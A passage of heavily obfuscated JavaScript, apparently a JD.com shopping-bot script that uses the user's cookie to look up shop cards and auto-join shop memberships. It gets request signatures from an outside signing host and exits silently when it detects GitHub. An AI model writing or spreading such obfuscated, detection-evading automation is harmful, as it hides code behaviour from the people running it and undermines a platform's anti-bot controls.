6e\x4e\x76\x62\x67\x3d\x3d','\x64\x6c\x6c\x43\x5a\x45\x67\x3d','\x51\x6b\x31\x47\x61\x33\x6b\x3d','\x61\x58\x56\x36\x61\x31\x45\x3d','\x5a\x30\x68\x33\x52\x58\x6f\x3d','\x55\x32\x56\x4d\x52\x6e\x45\x3d','\x52\x57\x35\x59\x65\x6c\x6b\x3d','\x55\x48\x70\x34\x63\x55\x67\x3d','\x54\x6c\x52\x42\x55\x56\x41\x3d','\x61\x30\x56\x78\x65\x6e\x45\x3d','\x61\x6c\x5a\x59\x63\x48\x45\x3d','\x51\x57\x31\x4f\x63\x6b\x6b\x3d','\x63\x57\x6c\x43\x64\x32\x63\x3d','\x5a\x6d\x78\x76\x62\x33\x49\x3d','\x62\x46\x6c\x57\x65\x47\x73\x3d','\x63\x6d\x46\x75\x5a\x47\x39\x74','\x62\x47\x56\x75\x5a\x33\x52\x6f','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x6a\x5a\x47\x34\x75\x62\x6e\x6f\x75\x62\x48\x55\x76\x5a\x32\x56\x30\x61\x44\x56\x7a\x64\x41\x3d\x3d','\x52\x47\x5a\x61\x62\x32\x67\x3d','\x57\x45\x4e\x36\x62\x6e\x59\x3d','\x63\x47\x39\x7a\x64\x41\x3d\x3d','\x53\x6b\x64\x4a\x53\x6b\x6f\x3d','\x59\x30\x78\x31\x57\x56\x63\x3d','\x53\x6d\x56\x74\x64\x6b\x67\x3d','\x56\x46\x4e\x6c\x59\x55\x59\x3d','\x5a\x6c\x64\x6d\x54\x31\x51\x3d','\x59\x58\x42\x77\x62\x48\x6b\x3d','\x65\x6b\x39\x49\x64\x45\x67\x3d','\x56\x46\x70\x75\x51\x6d\x6f\x3d','\x62\x47\x39\x6e\x52\x58\x4a\x79','\x61\x30\x64\x42\x55\x55\x51\x3d','\x56\x46\x6c\x48\x57\x48\x6f\x3d','\x59\x58\x42\x70\x4c\x6d\x30\x75\x61\x6d\x51\x75\x59\x32\x39\x74','\x4b\x69\x38\x71','\x61\x32\x56\x6c\x63\x43\x31\x68\x62\x47\x6c\x32\x5a\x51\x3d\x3d','\x65\x6d\x67\x74\x59\x32\x34\x3d','\x5a\x33\x70\x70\x63\x43\x77\x67\x5a\x47\x56\x6d\x62\x47\x46\x30\x5a\x53\x77\x67\x59\x6e\x49\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x68\x63\x47\x6b\x75\x62\x53\x35\x71\x5a\x43\x35\x6a\x62\x32\x30\x76\x59\x32\x78\x70\x5a\x57\x35\x30\x4c\x6d\x46\x6a\x64\x47\x6c\x76\x62\x6a\x39\x68\x63\x48\x42\x70\x5a\x44\x31\x71\x5a\x46\x39\x7a\x61\x47\x39\x77\x58\x32\x31\x6c\x62\x57\x4a\x6c\x63\x69\x5a\x6d\x64\x57\x35\x6a\x64\x47\x6c\x76\x62\x6b\x6c\x6b\x50\x57\x64\x6c\x64\x46\x4e\x6f\x62\x33\x42\x50\x63\x47\x56\x75\x51\x32\x46\x79\x5a\x45\x6c\x75\x5a\x6d\x38\x6d\x59\x6d\x39\x6b\x65\x54\x30\x3d','\x65\x47\x52\x75\x51\x6c\x49\x3d','\x63\x33\x52\x79\x61\x57\x35\x6e\x61\x57\x5a\x35','\x4a\x6d\x4e\x73\x61\x57\x56\x75\x64\x44\x31\x49\x4e\x53\x5a\x6a\x62\x47\x6c\x6c\x62\x6e\x52\x57\x5a\x58\x4a\x7a\x61\x57\x39\x75\x50\x54\x6b\x75\x4d\x69\x34\x77\x4a\x6e\x56\x31\x61\x57\x51\x39\x4f\x44\x67\x34\x4f\x44\x67\x3d','\x55\x6b\x70\x46\x55\x33\x6f\x3d','\x62\x48\x5a\x6c\x64\x6e\x67\x3d','\x59\x31\x68\x71\x63\x6e\x41\x3d','\x61\x6d\x52\x68\x63\x48\x41\x37\x61\x56\x42\x6f\x62\x32\x35\x6c\x4f\x7a\x6b\x75\x4e\x53\x34\x30\x4f\x7a\x45\x7a\x4c\x6a\x59\x37','\x56\x56\x56\x4a\x52\x41\x3d\x3d','\x4f\x32\x35\x6c\x64\x48\x64\x76\x63\x6d\x73\x76\x64\x32\x6c\x6d\x61\x54\x74\x42\x52\x45\x6c\x45\x4c\x77\x3d\x3d','\x51\x55\x52\x4a\x52\x41\x3d\x3d','\x4f\x32\x31\x76\x5a\x47\x56\x73\x4c\x32\x6c\x51\x61\x47\x39\x75\x5a\x54\x45\x77\x4c\x44\x4d\x37\x59\x57\x52\x6b\x63\x6d\x56\x7a\x63\x32\x6c\x6b\x4c\x7a\x41\x37\x59\x58\x42\x77\x51\x6e\x56\x70\x62\x47\x51\x76\x4d\x54\x59\x33\x4e\x6a\x59\x34\x4f\x32\x70\x6b\x55\x33\x56\x77\x63\x47\x39\x79\x64\x45\x52\x68\x63\x6d\x74\x4e\x62\x32\x52\x6c\x4c\x7a\x41\x37\x54\x57\x39\x36\x61\x57\x78\x73\x59\x53\x38\x31\x4c\x6a\x41\x67\x4b\x47\x6c\x51\x61\x47\x39\x75\x5a\x54\x73\x67\x51\x31\x42\x56\x49\x47\x6c\x51\x61\x47\x39\x75\x5a\x53\x42\x50\x55\x79\x41\x78\x4d\x31\x38\x32\x49\x47\x78\x70\x61\x32\x55\x67\x54\x57\x46\x6a\x49\x45\x39\x54\x49\x46\x67\x70\x49\x45\x46\x77\x63\x47\x78\x6c\x56\x32\x56\x69\x53\x32\x6c\x30\x4c\x7a\x59\x77\x4e\x53\x34\x78\x4c\x6a\x45\x31\x49\x43\x68\x4c\x53\x46\x52\x4e\x54\x43\x77\x67\x62\x47\x6c\x72\x5a\x53\x42\x48\x5a\x57\x4e\x72\x62\x79\x6b\x67\x54\x57\x39\x69\x61\x57\x78\x6c\x4c\x7a\x45\x31\x52\x54\x45\x30\x4f\x44\x74\x7a\x64\x58\x42\x77\x62\x33\x4a\x30\x53\x6b\x52\x54\x53\x46\x64\x4c\x4c\x7a\x45\x3d','\x61\x57\x4a\x49\x5a\x48\x45\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x7a\x61\x47\x39\x77\x62\x57\x56\x74\x59\x6d\x56\x79\x4c\x6d\x30\x75\x61\x6d\x51\x75\x59\x32\x39\x74\x4c\x33\x4e\x6f\x62\x33\x42\x6a\x59\x58\x4a\x6b\x4c\x7a\x39\x32\x5a\x57\x35\x6b\x5a\x58\x4a\x4a\x5a\x44\x30\x3d','\x66\x53\x5a\x6a\x61\x47\x46\x75\x62\x6d\x56\x73\x50\x54\x67\x77\x4d\x53\x5a\x79\x5a\x58\x52\x31\x63\x6d\x35\x56\x63\x6d\x77\x39','\x59\x57\x4e\x30\x61\x58\x5a\x70\x64\x48\x6c\x56\x63\x6d\x77\x3d','\x5a\x55\x64\x48\x65\x6e\x67\x3d','\x61\x58\x46\x34\x57\x55\x38\x3d','\x59\x56\x52\x6b\x65\x6d\x55\x3d','\x62\x56\x52\x51\x65\x55\x63\x3d','\x5a\x32\x56\x30','\x6a\x6b\x73\x6a\x45\x69\x48\x61\x6d\x69\x64\x53\x2e\x63\x54\x6f\x6d\x43\x2e\x76\x36\x68\x6c\x45\x45\x56\x50\x75\x56\x3d\x3d'];if(function(_0x47dca4,_0x2e45a0,_0x2d0d38){function _0x358c40(_0x4e0fee,_0x44d395,_0x5f1629,_0x6d2cae,_0x379df8,_0x59c1d4){_0x44d395=_0x44d395>>0x8,_0x379df8='po';var _0x24e0cd='shift',_0x197297='push',_0x59c1d4='‮';if(_0x44d395<_0x4e0fee){while(--_0x4e0fee){_0x6d2cae=_0x47dca4[_0x24e0cd]();if(_0x44d395===_0x4e0fee&&_0x59c1d4==='‮'&&_0x59c1d4['length']===0x1){_0x44d395=_0x6d2cae,_0x5f1629=_0x47dca4[_0x379df8+'p']();}else if(_0x44d395&&_0x5f1629['replace'](/[kEHdSTChlEEVPuV=]/g,'')===_0x44d395){_0x47dca4[_0x197297](_0x6d2cae);}}_0x47dca4[_0x197297](_0x47dca4[_0x24e0cd]());}return 0xdaf2e;};return _0x358c40(++_0x2e45a0,_0x2d0d38)>>_0x2e45a0^_0x2d0d38;}(_0x1acd,0x1d5,0x1d500),_0x1acd){_0xod7_=_0x1acd['length']^0x1d5;};function _0x27de(_0x4ab799,_0x2148e0){_0x4ab799=~~'0x'['concat'](_0x4ab799['slice'](0x1));var _0x38aa70=_0x1acd[_0x4ab799];if(_0x27de['HEabFd']===undefined&&'‮'['length']===0x1){(function(){var _0x48587b=function(){var _0x226fa7;try{_0x226fa7=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x302471){_0x226fa7=window;}return _0x226fa7;};var _0x2dcb25=_0x48587b();var _0x5d0b0e='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x2dcb25['atob']||(_0x2dcb25['atob']=function(_0x41138d){var _0x37290e=String(_0x41138d)['replace'](/=+$/,'');for(var _0x1da2f9=0x0,_0x27e844,_0x496c4d,_0x55ec30=0x0,_0x46993b='';_0x496c4d=_0x37290e['charAt'](_0x55ec30++);~_0x496c4d&&(_0x27e844=_0x1da2f9%0x4?_0x27e844*0x40+_0x496c4d:_0x496c4d,_0x1da2f9++%0x4)?_0x46993b+=String['fromCharCode'](0xff&_0x27e844>>(-0x2*_0x1da2f9&0x6)):0x0){_0x496c4d=_0x5d0b0e['indexOf'](_0x496c4d);}return _0x46993b;});}());_0x27de['ciicrd']=function(_0x35e622){var _0x1ca022=atob(_0x35e622);var _0x460af0=[];for(var _0x27de2b=0x0,_0x1b5b31=_0x1ca022['length'];_0x27de2b<_0x1b5b31;_0x27de2b++){_0x460af0+='%'+('00'+_0x1ca022['charCodeAt'](_0x27de2b)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x460af0);};_0x27de['qeLOEi']={};_0x27de['HEabFd']=!![];}var _0x4e1a4f=_0x27de['qeLOEi'][_0x4ab799];if(_0x4e1a4f===undefined){_0x38aa70=_0x27de['ciicrd'](_0x38aa70);_0x27de['qeLOEi'][_0x4ab799]=_0x38aa70;}else{_0x38aa70=_0x4e1a4f;}return _0x38aa70;};function getShopOpenCardInfo(_0x2dfe13,_0x2a9c59){var _0x169e2b={'\x69\x71\x78\x59\x4f':function(_0x237960,_0x2865f7){return _0x237960===_0x2865f7;},'\x61\x54\x64\x7a\x65':_0x27de('‮0'),'\x6d\x54\x50\x79\x47':function(_0x5db734){return _0x5db734();},'\x78\x64\x6e\x42\x52':function(_0x27ef1f,_0x2696d1){return _0x27ef1f(_0x2696d1);},'\x52\x4a\x45\x53\x7a':_0x27de('‫1'),'\x6c\x76\x65\x76\x78':_0x27de('‫2'),'\x63\x58\x6a\x72\x70':_0x27de('‫3'),'\x69\x62\x48\x64\x71':_0x27de('‮4'),'\x65\x47\x47\x7a\x78':_0x27de('‫5')};let _0x4540b3={'\x75\x72\x6c':_0x27de('‮6')+_0x169e2b[_0x27de('‮7')](encodeURIComponent,JSON[_0x27de('‫8')](_0x2dfe13))+_0x27de('‮9'),'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x169e2b[_0x27de('‮a')],'\x41\x63\x63\x65\x70\x74':_0x169e2b[_0x27de('‮b')],'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0x169e2b[_0x27de('‫c')],'\x43\x6f\x6f\x6b\x69\x65':cookie,'User-Agent':_0x27de('‫d')+$[_0x27de('‫e')]+_0x27de('‫f')+$[_0x27de('‫10')]+_0x27de('‫11'),'Accept-Language':_0x169e2b[_0x27de('‫12')],'\x52\x65\x66\x65\x72\x65\x72':_0x27de('‮13')+_0x2a9c59+_0x27de('‮14')+_0x169e2b[_0x27de('‮7')](encodeURIComponent,$[_0x27de('‫15')]),'Accept-Encoding':_0x169e2b[_0x27de('‮16')]}};return new Promise(_0x24d014=>{var _0x45d140={'\x4b\x72\x53\x57\x63':function(_0x564cc4,_0x316683){return _0x169e2b[_0x27de('‫17')](_0x564cc4,_0x316683);},'\x4c\x63\x4b\x6e\x79':_0x169e2b[_0x27de('‫18')],'\x54\x45\x49\x61\x6f':function(_0x32cebc){return _0x169e2b[_0x27de('‫19')](_0x32cebc);}};$[_0x27de('‫1a')](_0x4540b3,(_0x497df1,_0x18ad2f,_0x1d037c)=>{if(_0x45d140[_0x27de('‮1b')](_0x45d140[_0x27de('‮1c')],_0x45d140[_0x27de('‮1c')])){try{if(_0x497df1){console[_0x27de('‫1d')](_0x497df1);}else{res=JSON[_0x27de('‫1e')](_0x1d037c);if(res[_0x27de('‮1f')]){if(res[_0x27de('‮20')][_0x27de('‮21')]){$[_0x27de('‮22')]=res[_0x27de('‮20')][_0x27de('‮21')][0x0][_0x27de('‫23')][_0x27de('‮24')];}}}}catch(_0x487efd){console[_0x27de('‫1d')](_0x487efd);}finally{_0x45d140[_0x27de('‮25')](_0x24d014);}}else{console[_0x27de('‫1d')](_0x497df1);}});});}async function bindWithVender(_0x4bf9aa,_0x5a230c){var _0x5180ad={'\x4d\x59\x68\x4c\x43':function(_0x396660){return _0x396660();},'\x6d\x77\x78\x44\x6d':function(_0x4b2169,_0x405a0d){return _0x4b2169!==_0x405a0d;},'\x7a\x56\x69\x61\x6e':_0x27de('‫26'),'\x45\x41\x49\x42\x41':_0x27de('‫27'),'\x49\x6a\x73\x62\x4a':function(_0xcf4ea9,_0x3221b8){return _0xcf4ea9===_0x3221b8;},'\x55\x4b\x72\x68\x55':_0x27de('‫28'),'\x57\x6b\x62\x48\x4c':_0x27de('‫29'),'\x4c\x52\x48\x6a\x4c':_0x27de('‮2a'),'\x4f\x43\x43\x4e\x77':_0x27de('‫2b'),'\x57\x5a\x73\x59\x5a':_0x27de('‫2c'),'\x57\x73\x6b\x70\x78':_0x27de('‮2d'),'\x45\x64\x7a\x6d\x68':function(_0x148959,_0x176008,_0x319ba8){return _0x148959(_0x176008,_0x319ba8);},'\x50\x75\x57\x6e\x46':_0x27de('‮2e'),'\x47\x76\x6e\x52\x55':_0x27de('‫1'),'\x46\x56\x6a\x4b\x45':_0x27de('‫2'),'\x54\x6e\x62\x73\x4b':_0x27de('‫3'),'\x6a\x79\x46\x4f\x50':_0x27de('‮4'),'\x61\x4c\x7a\x6b\x57':function(_0x3768db,_0x1db8ba){return _0x3768db(_0x1db8ba);},'\x56\x6b\x6e\x6f\x74':_0x27de('‫5')};return h5st=await _0x5180ad[_0x27de('‮2f')](geth5st,_0x5180ad[_0x27de('‮30')],_0x4bf9aa),opt={'\x75\x72\x6c':_0x27de('‮31')+h5st,'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x5180ad[_0x27de('‮32')],'\x41\x63\x63\x65\x70\x74':_0x5180ad[_0x27de('‫33')],'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0x5180ad[_0x27de('‮34')],'\x43\x6f\x6f\x6b\x69\x65':cookie,'User-Agent':_0x27de('‫d')+$[_0x27de('‫e')]+_0x27de('‫f')+$[_0x27de('‫10')]+_0x27de('‫11'),'Accept-Language':_0x5180ad[_0x27de('‫35')],'\x52\x65\x66\x65\x72\x65\x72':_0x27de('‮13')+_0x5a230c+_0x27de('‮36')+_0x5180ad[_0x27de('‮37')](encodeURIComponent,$[_0x27de('‫15')]),'Accept-Encoding':_0x5180ad[_0x27de('‫38')]}},new Promise(_0x2c2848=>{var _0x1f470d={'\x69\x50\x64\x65\x78':function(_0x4c0bea){return _0x5180ad[_0x27de('‫39')](_0x4c0bea);},'\x42\x77\x65\x53\x57':function(_0x240905,_0x2118e5){return _0x5180ad[_0x27de('‫3a')](_0x240905,_0x2118e5);},'\x79\x6e\x59\x71\x72':_0x5180ad[_0x27de('‫3b')],'\x70\x6b\x4f\x75\x73':_0x5180ad[_0x27de('‮3c')],'\x5a\x65\x59\x6e\x58':function(_0x2ff734,_0x50b6d9){return _0x5180ad[_0x27de('‮3d')](_0x2ff734,_0x50b6d9);},'\x69\x58\x4d\x4f\x79':_0x5180ad[_0x27de('‫3e')],'\x6d\x56\x77\x79\x58':function(_0x43cb7f,_0x5f0fa8){return _0x5180ad[_0x27de('‮3d')](_0x43cb7f,_0x5f0fa8);},'\x50\x62\x4f\x41\x42':_0x5180ad[_0x27de('‫3f')],'\x4f\x78\x6d\x55\x66':_0x5180ad[_0x27de('‫40')],'\x49\x62\x44\x6d\x51':_0x5180ad[_0x27de('‫41')],'\x62\x64\x67\x73\x4d':_0x5180ad[_0x27de('‫42')],'\x5a\x4b\x78\x4a\x4e':_0x5180ad[_0x27de('‮43')]};$[_0x27de('‫1a')](opt,(_0x311afb,_0x3b7aab,_0x4c2873)=>{var _0x53384e={'\x6d\x4d\x51\x6b\x76':function(_0x26e196){return _0x1f470d[_0x27de('‫44')](_0x26e196);}};try{if(_0x1f470d[_0x27de('‮45')](_0x1f470d[_0x27de('‫46')],_0x1f470d[_0x27de('‮47')])){if(_0x311afb){if(_0x1f470d[_0x27de('‫48')](_0x1f470d[_0x27de('‫49')],_0x1f470d[_0x27de('‫49')])){console[_0x27de('‫1d')](_0x311afb);}else{console[_0x27de('‫1d')](error);}}else{if(_0x1f470d[_0x27de('‮4a')](_0x1f470d[_0x27de('‫4b')],_0x1f470d[_0x27de('‮4c')])){_0x53384e[_0x27de('‮4d')](_0x2c2848);}else{res=JSON[_0x27de('‫1e')](_0x4c2873);if(res[_0x27de('‮1f')]){if(_0x1f470d[_0x27de('‮4a')](_0x1f470d[_0x27de('‫4e')],_0x1f470d[_0x27de('‫4e')])){console[_0x27de('‫1d')](res);$[_0x27de('‫4f')]=res[_0x27de('‮50')];}else{console[_0x27de('‫1d')](_0x311afb);}}}}}else{Host=process[_0x27de('‮51')][_0x27de('‫52')];}}catch(_0x317968){if(_0x1f470d[_0x27de('‮4a')](_0x1f470d[_0x27de('‮53')],_0x1f470d[_0x27de('‮53')])){console[_0x27de('‫1d')](_0x317968);}else{$[_0x27de('‮22')]=res[_0x27de('‮20')][_0x27de('‮21')][0x0][_0x27de('‫23')][_0x27de('‮24')];}}finally{if(_0x1f470d[_0x27de('‮45')](_0x1f470d[_0x27de('‫54')],_0x1f470d[_0x27de('‫54')])){_0x1f470d[_0x27de('‫44')](_0x2c2848);}else{_0x1f470d[_0x27de('‫44')](_0x2c2848);}}});});}function geth5st(_0x1c2dc4,_0x38bbf9){var _0xad3eae={'\x76\x59\x42\x64\x48':function(_0xb6682a,_0x1dbeb1){return _0xb6682a===_0x1dbeb1;},'\x42\x4d\x46\x6b\x79':_0x27de('‮55'),'\x69\x75\x7a\x6b\x51':function(_0x521e0c,_0x1ffbd9){return _0x521e0c!==_0x1ffbd9;},'\x67\x48\x77\x45\x7a':_0x27de('‮56'),'\x53\x65\x4c\x46\x71':_0x27de('‮57'),'\x45\x6e\x58\x7a\x59':function(_0x4fa54e,_0x1f1dc2){return _0x4fa54e===_0x1f1dc2;},'\x50\x7a\x78\x71\x48':_0x27de('‮58'),'\x4e\x54\x41\x51\x50':function(_0x3fd51b,_0x32a444){return _0x3fd51b(_0x32a444);},'\x6b\x45\x71\x7a\x71':_0x27de('‫59'),'\x6a\x56\x58\x70\x71':_0x27de('‫5a'),'\x41\x6d\x4e\x72\x49':_0x27de('‮5b'),'\x71\x69\x42\x77\x67':_0x27de('‫5c'),'\x6c\x59\x56\x78\x6b':function(_0x2a05e2,_0x15824){return _0x2a05e2*_0x15824;},'\x44\x66\x5a\x6f\x68':_0x27de('‫5d'),'\x58\x43\x7a\x6e\x76':function(_0x46d10b,_0x5b5da1){return _0x46d10b*_0x5b5da1;}};return new Promise(async _0x573221=>{var _0x1c0efb={'\x4a\x47\x49\x4a\x4a':function(_0x30195c,_0x3fe97e){return _0xad3eae[_0x27de('‮5e')](_0x30195c,_0x3fe97e);},'\x63\x4c\x75\x59\x57':_0xad3eae[_0x27de('‫5f')],'\x4a\x65\x6d\x76\x48':function(_0x41b061,_0x2c0980){return _0xad3eae[_0x27de('‫60')](_0x41b061,_0x2c0980);},'\x54\x53\x65\x61\x46':_0xad3eae[_0x27de('‫61')],'\x66\x57\x66\x4f\x54':_0xad3eae[_0x27de('‮62')],'\x7a\x4f\x48\x74\x48':function(_0x1029f8,_0x21337a){return _0xad3eae[_0x27de('‮63')](_0x1029f8,_0x21337a);},'\x54\x5a\x6e\x42\x6a':_0xad3eae[_0x27de('‫64')],'\x6b\x47\x41\x51\x44':function(_0x1b9d1f,_0x3ee921){return _0xad3eae[_0x27de('‫65')](_0x1b9d1f,_0x3ee921);}};let _0x23db17={'\x61\x70\x70\x49\x64':_0xad3eae[_0x27de('‫66')],'\x62\x6f\x64\x79':{'\x61\x70\x70\x69\x64':_0xad3eae[_0x27de('‫67')],'\x66\x75\x6e\x63\x74\x69\x6f\x6e\x49\x64':_0x1c2dc4,'\x62\x6f\x64\x79':JSON[_0x27de('‫8')](_0x38bbf9),'\x63\x6c\x69\x65\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e':_0xad3eae[_0x27de('‫68')],'\x63\x6c\x69\x65\x6e\x74':'\x48\x35','\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64':$[_0x27de('‮24')]},'\x63\x61\x6c\x6c\x62\x61\x63\x6b\x41\x6c\x6c':!![]};let _0x2402da='';let _0x25911c=[_0xad3eae[_0x27de('‮69')]];if(process[_0x27de('‮51')][_0x27de('‫52')]){_0x2402da=process[_0x27de('‮51')][_0x27de('‫52')];}else{_0x2402da=_0x25911c[Math[_0x27de('‫6a')](_0xad3eae[_0x27de('‫6b')](Math[_0x27de('‫6c')](),_0x25911c[_0x27de('‮6d')]))];}let _0x5f5ad9={'\x75\x72\x6c':_0x27de('‮6e'),'\x62\x6f\x64\x79':JSON[_0x27de('‫8')](_0x23db17),'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x2402da,'Content-Type':_0xad3eae[_0x27de('‮6f')]},'\x74\x69\x6d\x65\x6f\x75\x74':_0xad3eae[_0x27de('‫70')](0x1e,0x3e8)};$[_0x27de('‮71')](_0x5f5ad9,async(_0x4a1749,_0x300e08,_0x23db17)=>{if(_0x1c0efb[_0x27de('‫72')](_0x1c0efb[_0x27de('‫73')],_0x1c0efb[_0x27de('‫73')])){try{if(_0x4a1749){if(_0x1c0efb[_0x27de('‮74')](_0x1c0efb[_0x27de('‮75')],_0x1c0efb[_0x27de('‮76')])){_0x23db17=await geth5st[_0x27de('‮77')](this,arguments);}else{if(res[_0x27de('‮20')][_0x27de('‮21')]){$[_0x27de('‮22')]=res[_0x27de('‮20')][_0x27de('‮21')][0x0][_0x27de('‫23')][_0x27de('‮24')];}}}else{}}catch(_0x580180){if(_0x1c0efb[_0x27de('‫78')](_0x1c0efb[_0x27de('‮79')],_0x1c0efb[_0x27de('‮79')])){$[_0x27de('‫7a')](_0x580180,_0x300e08);}else{if(_0x4a1749){console[_0x27de('‫1d')](_0x4a1749);}else{res=JSON[_0x27de('‫1e')](_0x23db17);if(res[_0x27de('‮1f')]){console[_0x27de('‫1d')](res);$[_0x27de('‫4f')]=res[_0x27de('‮50')];}}}}finally{_0x1c0efb[_0x27de('‫7b')](_0x573221,_0x23db17);}}else{res=JSON[_0x27de('‫1e')](_0x23db17);if(res[_0x27de('‮1f')]){console[_0x27de('‫1d')](res);$[_0x27de('‫4f')]=res[_0x27de('‮50')];}}});});};_0xod7='jsjiami.com.v6'; + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else 